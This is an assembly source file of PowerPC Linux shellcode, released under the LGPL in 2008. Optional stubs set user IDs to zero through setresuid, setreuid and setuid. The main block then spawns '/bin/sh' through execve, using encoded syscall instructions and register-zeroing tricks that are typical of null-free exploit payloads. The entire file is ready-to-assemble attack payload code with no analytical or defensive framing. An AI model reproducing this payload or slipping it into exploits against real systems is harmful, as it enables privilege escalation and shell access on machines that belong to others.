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lin-power-shellcode.S
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lin-power-shellcode.S
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/*
* lin-power-shellcode.S
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
#include "linux-power.h"
.globl main
main:
#ifdef ALL
setresuidcode:
lil %r31,__CAL
xor %r5,%r5,%r5
xor %r4,%r4,%r4
xor %r3,%r3,%r3
cal %r0,__NC_setresuid(%r31)
.long 0x44ffff02
setreuidcode:
lil %r31,__CAL
xor %r4,%r4,%r4
xor %r3,%r3,%r3
cal %r0,__NC_setreuid(%r31)
.long 0x44ffff02
setuidcode:
lil %r31,__CAL
xor %r3,%r3,%r3
cal %r0,__NC_setuid(%r31)
.long 0x44ffff02
#endif
shellcode:
lil %r31,__CAL
xor. %r5,%r5,%r5
bnel shellcode
mflr %r30
cal %r30,511(%r30)
cal %r3,-511+36(%r30)
stb %r5,-511+43(%r30)
stu %r5,-4(%r1)
stu %r3,-4(%r1)
mr %r4,%r1
cal %r0,__NC_execve(%r31)
.long 0x44ffff02
.asciz "/bin/sh"
#ifdef ALL
exitcode:
lil %r31,__CAL
xor %r3,%r3,%r3
cal %r0,__NC_exit(%r31)
.long 0x44ffff02
#endif